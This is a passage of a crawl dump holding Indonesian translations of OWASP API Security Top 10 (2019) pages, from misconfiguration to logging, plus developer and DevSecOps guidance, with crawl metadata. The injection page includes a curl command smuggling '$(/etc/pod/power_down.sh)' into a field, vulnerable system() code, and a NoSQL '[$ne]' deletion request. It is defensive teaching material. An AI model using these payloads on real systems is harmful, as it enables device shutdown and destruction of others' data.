menggunakan konfigurasi default, yang secara default menonaktifkan otentikasi, dan penyerang mendapatkan akses ke jutaan catatan dengan PII, preferensi pribadi, dan data otentikasi.\n\n### Skenario #3\n\nMemeriksa lalu lintas aplikasi seluler, penyerang mengetahui bahwa tidak semua lalu lintas HTTP dilakukan pada protokol aman (misalnya, TLS). Penyerang menemukan ini benar, khususnya untuk mengunduh gambar profil. Karena interaksi pengguna bersifat biner, meskipun lalu lintas API dilakukan pada protokol yang aman, penyerang menemukan pola pada ukuran respons API, yang dia gunakan untuk melacak preferensi pengguna atas konten yang dirender (misalnya, gambar profil).\n\n## Cara Mencegah\n\nSiklus hidup API harus mencakup:\n\n- Proses pengerasan yang dapat diulang yang mengarah ke penyebaran yang cepat dan mudah dari lingkungan yang dikunci dengan benar.\n- Tugas untuk meninjau dan memperbarui konfigurasi di seluruh tumpukan API. Tinjauan harus mencakup: file orchestrasi, komponen API, dan layanan cloud (misalnya, izin bucket S3).\n- Saluran komunikasi yang aman untuk semua interaksi akses API ke aset statis (misalnya, gambar).\n- Proses otomatis untuk secara kontinu menilai efektivitas konfigurasi dan pengaturan di semua lingkungan.\n\nSelanjutnya:\n\n- Untuk mencegah jejak pengecualian dan informasi berharga lainnya dikirim kembali ke penyerang, jika berlaku, tentukan dan tegakkan semua skema muatan respons API termasuk respons kesalahan.\n- Pastikan API hanya dapat diakses oleh kata kerja HTTP yang ditentukan. Semua kata kerja HTTP lainnya harus dinonaktifkan (misalnya, `HEAD` ).\n- API yang diharapkan dapat diakses dari klien berbasis browser (misalnya, front-end WebApp) harus menerapkan kebijakan Berbagi Sumber Daya Lintas Asal (CORS) yang tepat.\n\n## Referensi\n\n### OWASP\n\n- [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project)\n- [OWASP Testing Guide: Configuration Management](https://www.owasp.org/index.php/Testing_for_configuration_management)\n- [OWASP Testing Guide: Testing for Error Codes](https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001))\n- [OWASP Testing Guide: Test Cross Origin Resource Sharing](https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007))\n\n### Eksternal\n\n- [CWE-2: Kelemahan Keamanan Lingkungan](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Konfigurasi](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-388: Penanganan Kesalahan](https://cwe.mitre.org/data/definitions/388.html)\n- [Panduan Keamanan Server Umum](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let’s Encrypt: Otoritas Sertifikat Gratis, Otomatis, dan Terbuka](https://letsencrypt.org/)", "znaku_textu": 4840, "slov": 573, "odkazu": 79, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:05", "sha256": "e5a8ebf08c6db66db7052ce0f26166e6fde2db8fb898357e30ae95d9a1db8ed7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Secure_Headers_Project", "https://www.owasp.org/index.php/Testing_for_configuration_management", "https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001)", "https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/388.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xa8-injection/", "titulek": "API8:2019 Injeksi - OWASP API Security Top 10", "h1": "API8:2019 Injeksi", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xa8-injection/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2019 Injeksi"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API8:2019 Injeksi\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **3** | Teknis **3** : Spesifik Bisnis |\n| Penyerang akan memberi makan API dengan data berbahaya melalui vektor injeksi apa pun yang tersedia (misalnya, input langsung, parameter, layanan terintegrasi, dll.), berharap itu dikirim ke interpreter. | Celah injeksi sangat umum dan sering ditemukan dalam kueri SQL, LDAP, atau NoSQL, perintah OS, parser XML, dan ORM. Celah ini mudah ditemukan saat meninjau kode sumber. Penyerang dapat menggunakan scanner dan fuzzer. | Injeksi dapat menyebabkan pengungkapan informasi dan kehilangan data. Itu juga dapat menyebabkan DoS, atau pengambilalihan host secara total. |\n\n## Apakah API Rentan?\n\nAPI rentan terhadap celah injeksi jika:\n\n- Data yang disediakan klien tidak divalidasi, difilter, atau disucihamakan oleh API.\n- Data yang disediakan klien digunakan langsung atau digabungkan ke kueri SQL/NoSQL/LDAP, perintah OS, parser XML, dan Pemetaan Objek Relasional (ORM)/Pemetaan Dokumen Objek (ODM).\n- Data yang berasal dari sistem eksternal (misalnya, sistem terintegrasi) tidak divalidasi, difilter, atau disucihamakan oleh API.\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nFirmware dari perangkat kontrol orang tua menyediakan endpoint `/api/CONFIG/restore` yang mengharapkan appId dikirim sebagai parameter multipart. Menggunakan dekompiler, seorang penyerang mengetahui bahwa appId dilewatkan langsung ke panggilan sistem tanpa pembersihan apa pun:\n\n```\nsnprintf(cmd, 128, \"%srestore_backup.sh /tmp/postfile.bin %s %d\", \n \"/mnt/shares/usr/bin/scripts/\", appid, 66);\nsystem(cmd);\n```\n\nPerintah berikut memungkinkan penyerang mematikan perangkat mana pun dengan firmware yang sama yang rentan:\n\n```\n$ curl -k \"https://${deviceIP}:4567/api/CONFIG/restore\" -F 'appid=$(/etc/pod/power_down.sh)' \n```\n\n### Skenario #2\n\nKami memiliki aplikasi dengan fungsionalitas CRUD dasar untuk operasi dengan pemesanan. Seorang penyerang berhasil mengidentifikasi bahwa injeksi NoSQL mungkin dimungkinkan melalui parameter string kueri `bookingId` dalam permintaan penghapusan pemesanan. Beginilah permintaannya: `DELETE /api/bookings?bookingId=678`.\n\nServer API menggunakan fungsi berikut untuk menangani permintaan penghapusan:\n\n```\nrouter.delete('/bookings', async function (req, res, next) {\n try {\n const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId});\n res.status(200);\n } catch (err) {\n res.status(400).json({error: 'Unexpected error occured while processing a request'});\n }\n});\n```\n\nPenyerang menyadap permintaan dan mengubah parameter string kueri `bookingId` seperti di bawah ini. Dalam hal ini, penyerang berhasil menghapus pemesanan pengguna lain:\n\n```\nDELETE /api/bookings?bookingId[$ne]=678\n```\n\n## Cara Mencegah\n\nMencegah injeksi memerlukan pemisahan data dari perintah dan kueri.\n\n- Lakukan validasi data menggunakan satu pustaka yang tepercaya dan dikelola secara aktif.\n- Validasi, filter, dan sucikan semua data yang disediakan klien, atau data lainnya yang berasal dari sistem terintegrasi.\n- Karakter khusus harus dilepas menggunakan sintaks spesifik untuk interpreter tujuan.\n- Lebih baik menggunakan API yang aman yang menyediakan antarmuka terparameter.\n- Selalu batasi jumlah catatan yang dikembalikan untuk mencegah pengungkapan massal jika terjadi injeksi.\n- Validasi data masuk menggunakan filter yang cukup untuk hanya mengizinkan nilai yang valid untuk setiap parameter input.\n- Tentukan jenis data dan pola ketat untuk semua parameter string.\n\n## Referensi\n\n### OWASP\n\n- [OWASP Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\n- [NoSQL Injection Fun with Objects and Arrays](https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf)\n- [Command Injection](https://www.owasp.org/index.php/Command_Injection)\n\n### Eksternal\n\n- [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)", "znaku_textu": 3969, "slov": 452, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:14", "sha256": "36153260a171ed6858d276fffdf04d7974366694f54ba24af913b4f6784bebab", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Injection_Flaws", "https://www.owasp.org/index.php/SQL_Injection", "https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf", "https://www.owasp.org/index.php/Command_Injection", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/89.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xa9-improper-assets-management/", "titulek": "API9:2019 Pengelolaan Aset yang Tidak Tepat - OWASP API Security Top 10", "h1": "API9:2019 Pengelolaan Aset yang Tidak Tepat", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xa9-improper-assets-management/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2019 Pengelolaan Aset yang Tidak Tepat"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API9:2019 Pengelolaan Aset yang Tidak Tepat\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **2** | Teknis **2** : Spesifik Bisnis |\n| Versi API lama biasanya tidak diperbarui dan merupakan cara mudah untuk mengkompromikan sistem tanpa harus melawan mekanisme keamanan mutakhir, yang mungkin ada untuk melindungi versi API terbaru. | Dokumentasi yang sudah ketinggalan zaman membuatnya lebih sulit untuk menemukan dan/atau memperbaiki kerentanan. Kurangnya inventarisasi aset dan strategi pensiun menyebabkan menjalankan sistem yang tidak diperbarui, yang mengakibatkan kebocoran data sensitif. Umum ditemukan host API yang terpapar secara tidak perlu karena konsep modern seperti mikroservis, yang memudahkan aplikasi untuk diterapkan dan independen (misalnya, komputasi cloud, k8s). | Penyerang dapat memperoleh akses ke data sensitif, atau bahkan mengambil alih server melalui versi API lama yang tidak diperbarui yang terhubung ke basis data yang sama. |\n\n## Apakah API Rentan?\n\nAPI mungkin rentan jika:\n\n- Tujuan dari host API tidak jelas, dan tidak ada jawaban eksplisit untuk pertanyaan berikut:\n - Lingkungan apa API berjalan (misalnya, produksi, staging, pengujian, pengembangan)?\n - Siapa yang seharusnya memiliki akses jaringan ke API (misalnya, publik, internal, mitra)?\n - Versi API apa yang berjalan?\n - Data apa yang dikumpulkan dan diproses oleh API (misalnya, PII)?\n - Bagaimana aliran datanya?\n- Tidak ada dokumentasi, atau dokumentasi yang ada tidak diperbarui.\n- Tidak ada rencana pensiun untuk setiap versi API.\n- Inventarisasi host hilang atau ketinggalan zaman.\n- Inventarisasi layanan terintegrasi, baik pihak pertama maupun ketiga, hilang atau ketinggalan zaman.\n- Versi API lama atau sebelumnya berjalan tanpa patch.\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nSetelah merancang ulang aplikasi mereka, layanan pencarian lokal meninggalkan versi API lama (`api.someservice.com/v1`) berjalan, tidak dilindungi, dan dengan akses ke basis data pengguna. Saat menargetkan salah satu aplikasi rilis terbaru, seorang penyerang menemukan alamat API (`api.someservice.com/v2`). Mengganti `v2` dengan `v1` di URL memberi penyerang akses ke API lama, tidak dilindungi, yang memaparkan informasi identifikasi pribadi (PII) lebih dari 100 juta pengguna.\n\n### Skenario #2\n\nSebuah jaringan sosial menerapkan mekanisme pembatasan laju yang memblokir penyerang dari menggunakan brute-force untuk menebak token reset kata sandi. Mekanisme ini tidak diimplementasikan sebagai bagian dari kode API itu sendiri, tetapi dalam komponen terpisah antara klien dan API resmi (`www.socialnetwork.com`). Seorang peneliti menemukan host API beta (`www.mbasic.beta.socialnetwork.com`) yang menjalankan API yang sama, termasuk mekanisme reset kata sandi, tetapi mekanisme pembatasan laju tidak diterapkan. Peneliti dapat mereset kata sandi pengguna mana pun dengan menggunakan brute-force sederhana untuk menebak token 6 digit.\n\n## Cara Mencegah\n\n- Inventarisasi semua host API dan dokumentasikan aspek penting dari masing-masing, berfokus pada lingkungan API (misalnya, produksi, staging, pengujian, pengembangan), siapa yang seharusnya memiliki akses jaringan ke host (misalnya, publik, internal, mitra) dan versi API.\n- Inventarisasi layanan terintegrasi dan dokumentasikan aspek penting seperti peran mereka dalam sistem, data apa yang dipertukarkan (aliran data), dan sensitivitasnya.\n- Dokumentasikan semua aspek API Anda seperti otentikasi, kesalahan, pengalihan, pembatasan laju, kebijakan berbagi sumber daya lintas asal (CORS) dan endpoint, termasuk parameter, permintaan, dan respons mereka.\n- Hasilkan dokumentasi secara otomatis dengan mengadopsi standar terbuka. Sertakan pembangunan dokumentasi dalam pipeline CI/CD Anda.\n- Buat dokumentasi API tersedia untuk mereka yang berwenang menggunakan API.\n- Gunakan langkah-langkah perlindungan eksternal seperti firewall keamanan API untuk semua versi terekspos API Anda, bukan hanya untuk versi produksi saat ini.\n- Hindari menggunakan data produksi dengan penerapan API non-produksi. Jika ini tidak dapat dihindari, endpoint ini harus mendapatkan perlakuan keamanan yang sama dengan produksi.\n- Ketika versi API yang lebih baru mencakup peningkatan keamanan, lakukan analisis risiko untuk membuat keputusan tindakan mitigasi yang diperlukan untuk versi yang lebih tua: misalnya, apakah mungkin menerapkan peningkatan tanpa merusak kompatibilitas API atau Anda perlu menarik versi yang lebih tua dengan cepat dan memaksa semua klien beralih ke versi terbaru.\n\n## Referensi\n\n### Eksternal\n\n- [CWE-1059: Dokumentasi yang Tidak Lengkap](https://cwe.mitre.org/data/definitions/1059.html)\n- [Inisiatif OpenAPI](https://www.openapis.org/)", "znaku_textu": 4672, "slov": 610, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:43", "sha256": "5b04de394004ea2f8e9603a877de19d1102f93822d8ebc3d29defc29be0f174c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://www.openapis.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xaa-insufficient-logging-monitoring/", "titulek": "API10:2019 Pencatatan & Pemantauan yang Tidak Memadai - OWASP API Security Top 10", "h1": "API10:2019 Pencatatan & Pemantauan yang Tidak Memadai", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xaa-insufficient-logging-monitoring/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2019 Pencatatan & Pemantauan yang Tidak Memadai"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API10:2019 Pencatatan & Pemantauan yang Tidak Memadai\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: Eksploitasi **2** | Prevalensi **3** : Deteksi **1** | Teknis **2** : Spesifik Bisnis |\n| Penyerang memanfaatkan kurangnya pencatatan dan pemantauan untuk menyalahgunakan sistem tanpa disadari. | Tanpa pencatatan dan pemantauan, atau dengan pencatatan dan pemantauan yang tidak memadai, hampir mustahil untuk melacak kegiatan mencurigakan dan menanggapinya tepat waktu. | Tanpa visibilitas atas kegiatan berbahaya yang sedang berlangsung, penyerang memiliki banyak waktu untuk sepenuhnya mengkompromikan sistem. |\n\n## Apakah API Rentan?\n\nAPI rentan jika:\n\n- Tidak menghasilkan log apa pun, level pencatatan tidak disetel dengan benar, atau pesan log tidak menyertakan detail yang cukup.\n- Integritas log tidak dijamin (misalnya, [Log Injection](https://www.owasp.org/index.php/Log_Injection) ).\n- Log tidak dipantau secara terus menerus.\n- Infrastruktur API tidak dipantau secara terus menerus.\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nKunci akses administratif API bocor di repositori publik. Pemilik repositori diberi tahu melalui email tentang kebocoran potensial, tetapi membutuhkan waktu lebih dari 48 jam untuk menindaklanjuti insiden, dan paparan kunci akses mungkin telah mengizinkan akses ke data sensitif. Karena pencatatan yang tidak memadai, perusahaan tidak dapat menilai data apa yang diakses oleh aktor berbahaya.\n\n### Skenario #2\n\nPlatform berbagi video terkena serangan \"skala besar\" stuffing kredensial. Meskipun login gagal dicatat, tidak ada peringatan yang dipicu selama rentang waktu serangan. Sebagai reaksi atas keluhan pengguna, log API dianalisis dan serangan terdeteksi. Perusahaan harus membuat pengumuman publik yang meminta pengguna mereset kata sandi mereka, dan melaporkan insiden kepada otoritas peraturan.\n\n## Cara Mencegah\n\n- Catat semua upaya otentikasi gagal, akses yang ditolak, dan kesalahan validasi input.\n- Log harus ditulis menggunakan format yang sesuai untuk dikonsumsi oleh solusi manajemen log, dan harus mencakup detail yang cukup untuk mengidentifikasi pelaku jahat.\n- Log harus ditangani sebagai data sensitif, dan integritasnya harus dijamin saat diam dan dalam transit.\n- Konfigurasikan sistem pemantauan untuk secara terus menerus memantau infrastruktur, jaringan, dan fungsi API.\n- Gunakan sistem Manajemen Informasi dan Keamanan (SIEM) untuk menggabungkan dan mengelola log dari semua komponen tumpukan API dan host.\n- Konfigurasikan dashboard dan peringatan kustom, memungkinkan kegiatan mencurigakan terdeteksi dan direspon lebih awal.\n\n## Referensi\n\n### OWASP\n\n- [OWASP Logging Cheat Sheet](https://www.owasp.org/index.php/Logging_Cheat_Sheet)\n- [OWASP Proactive Controls: Implement Logging and Intrusion Detection](https://www.owasp.org/index.php/OWASP_Proactive_Controls)\n- [OWASP Application Security Verification Standard: V7: Error Handling and\n Logging Verification Requirements](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md)\n\n### Eksternal\n\n- [CWE-223: Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 3174, "slov": 372, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:32:42", "sha256": "6a26c05afc8fc93c2f7b025c8e3190cc12dcd5db9d31a363b59cbd10776e9e91", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Log_Injection", "https://www.owasp.org/index.php/Logging_Cheat_Sheet", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/778.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xb0-next-devs/", "titulek": "Apa Selanjutnya untuk Pengembang - OWASP API Security Top 10", "h1": "Apa Selanjutnya untuk Pengembang", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xb0-next-devs/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Apa Selanjutnya untuk Pengembang"}], "markdown": "# Apa Selanjutnya untuk Pengembang\n\nTugas untuk membuat dan memelihara perangkat lunak yang aman, atau memperbaiki perangkat lunak yang ada, dapat sulit. API tidak berbeda.\n\nKami yakin bahwa pendidikan dan kesadaran adalah faktor kunci untuk menulis perangkat lunak yang aman. Semua hal lain yang diperlukan untuk mencapai tujuan, bergantung pada **membangun dan menggunakan proses keamanan yang dapat diulang dan kontrol keamanan standar**.\n\nOWASP memiliki berbagai sumber daya gratis dan terbuka untuk mengatasi masalah keamanan sejak awal proyek. Silakan kunjungi halaman [Proyek OWASP](https://www.owasp.org/index.php/Category:OWASP_Project) untuk daftar lengkap proyek yang tersedia.\n\n| | |\n| --- | --- |\n| **Pendidikan** | Anda dapat mulai membaca [materi Proyek Pendidikan OWASP](https://www.owasp.org/index.php/OWASP_Education_Material_Categorized) sesuai dengan profesi dan minat Anda. Untuk pembelajaran hands-on, kami menambahkan **crAPI** - **C**ompletely **R**idiculous **API** dalam [roadmap kami](https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map). Sementara itu, Anda dapat berlatih WebAppSec menggunakan [Modul Pixi DevSlop OWASP](https://devslop.co/Home/Pixi), layanan WebApp dan API rentan yang bertujuan untuk mengajari pengguna cara menguji aplikasi web dan API modern untuk masalah keamanan, dan cara menulis API yang lebih aman di masa depan. Anda juga dapat menghadiri sesi pelatihan [Konferensi OWASP AppSec](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference), atau [bergabung dengan chapter lokal Anda](https://www.owasp.org/index.php/OWASP_Chapter). |\n| **Persyaratan Keamanan** | Keamanan harus menjadi bagian dari setiap proyek sejak awal. Saat melakukan elicitation persyaratan, penting untuk mendefinisikan apa artinya \"aman\" untuk proyek tersebut. OWASP merekomendasikan Anda menggunakan [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) sebagai panduan untuk menetapkan persyaratan keamanan. Jika Anda outsourcing, pertimbangkan [OWASP Secure Software Contract Annex](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex), yang harus disesuaikan sesuai hukum dan peraturan setempat. |\n| **Arsitektur Keamanan** | Keamanan harus tetap menjadi perhatian selama semua tahapan proyek. [OWASP Prevention Cheat Sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) merupakan titik awal yang baik untuk panduan tentang cara merancang keamanan selama fase arsitektur. Di antara banyak lainnya, Anda akan menemukan [REST Security Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md) dan [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md). |\n| **Kontrol Keamanan Standar** | Mengadopsi Kontrol Keamanan Standar mengurangi risiko memperkenalkan kelemahan keamanan saat menulis logika Anda sendiri. Meskipun fakta banyak kerangka kerja modern sekarang datang dengan kontrol efektif standar bawaan, [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018) memberi Anda gambaran yang baik tentang kontrol keamanan apa yang harus Anda cari untuk dimasukkan dalam proyek Anda. OWASP juga menyediakan beberapa pustaka dan alat yang mungkin Anda anggap berharga, seperti kontrol validasi. |\n| **Siklus Hidup Pengembangan Perangkat Lunak yang Aman** | Anda dapat menggunakan [OWASP Software Assurance Maturity Model (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project) untuk meningkatkan proses saat membangun API. Beberapa proyek OWASP lainnya tersedia untuk membantu Anda selama fase pengembangan API yang berbeda misalnya, [OWASP Code Review Project](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project). |", "znaku_textu": 3830, "slov": 385, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:07:55", "sha256": "9743c9746553b20e354726ff1fa4d2f1f09e6efe122c1b4db1675dfd9aef584f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Project", "https://www.owasp.org/index.php/OWASP_Education_Material_Categorized", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://devslop.co/Home/Pixi", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://www.owasp.org/index.php/OWASP_SAMM_Project", "https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xb1-next-devsecops/", "titulek": "Apa Selanjutnya untuk DevSecOps - OWASP API Security Top 10", "h1": "Apa Selanjutnya untuk DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xb1-next-devsecops/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Apa Selanjutnya untuk DevSecOps"}], "markdown": "# Apa Selanjutnya untuk DevSecOps\n\nKarena pentingnya dalam arsitektur aplikasi modern, membangun API yang aman sangat penting. Keamanan tidak boleh diabaikan, dan itu harus menjadi bagian dari seluruh siklus pengembangan. Pemindaian dan penetration testing setahun sekali tidak lagi cukup.\n\nDevSecOps harus bergabung dengan upaya pengembangan, memfasilitasi pengujian keamanan yang berkelanjutan di seluruh siklus pengembangan perangkat lunak. Tujuan mereka adalah untuk meningkatkan pipeline pengembangan dengan otomatisasi keamanan, dan tanpa berdampak pada kecepatan pengembangan.\n\nJika ragu, tetap terinformasi, dan tinjau, [DevSecOps Manifesto](https://www.devsecops.org/) sering.\n\n| | |\n| --- | --- |\n| **Pahami Model Ancaman** | Prioritas pengujian berasal dari model ancaman. Jika Anda tidak memilikinya, pertimbangkan menggunakan [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project), dan [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) sebagai input. Melibatkan tim pengembangan dapat membantu membuat mereka lebih sadar keamanan. |\n| **Pahami SDLC** | Bergabung dengan tim pengembangan untuk lebih memahami Siklus Hidup Pengembangan Perangkat Lunak. Kontribusi Anda pada pengujian keamanan berkelanjutan harus kompatibel dengan orang, proses, dan alat. Semua orang harus setuju dengan prosesnya, sehingga tidak ada gesekan atau perlawanan yang tidak perlu. |\n| **Strategi Pengujian** | Karena pekerjaan Anda tidak boleh berdampak pada kecepatan pengembangan, Anda harus bijaksana memilih teknik terbaik (sederhana, tercepat, paling akurat) untuk memverifikasi persyaratan keamanan. [OWASP Security Knowledge Framework](https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework) dan [OWASP Application Security Verification Standard](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) dapat menjadi sumber persyaratan keamanan fungsional dan non-fungsional yang hebat. Ada sumber lain yang hebat untuk [proyek](http://devsecops.github.io/) dan [alat](https://github.com/devsecops/awesome-devsecops) serupa dengan yang ditawarkan oleh [komunitas DevSecOps](http://devsecops.org). |\n| **Meraih Cakupan dan Akurasi** | Anda adalah jembatan antara tim pengembang dan operasi. Untuk mencapai cakupan, Anda tidak hanya harus fokus pada fungsionalitas, tetapi juga orkestrasi. Bekerja dekat dengan tim pengembangan dan operasi dari awal sehingga Anda dapat mengoptimalkan waktu dan upaya Anda. Anda harus menargetkan keadaan di mana keamanan esensial diverifikasi secara berkelanjutan. |\n| **Komunikasikan Temuan dengan Jelas** | Berikan nilai dengan sedikit atau tanpa gesekan. Kirim temuan tepat waktu, dalam alat yang digunakan tim pengembangan (bukan file PDF). Bergabung dengan tim pengembangan untuk menangani temuan. Manfaatkan kesempatan untuk mendidik mereka, menjelaskan kelemahan dan bagaimana dapat disalahgunakan, termasuk skenario serangan untuk membuatnya nyata. |", "znaku_textu": 3008, "slov": 323, "odkazu": 68, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:04", "sha256": 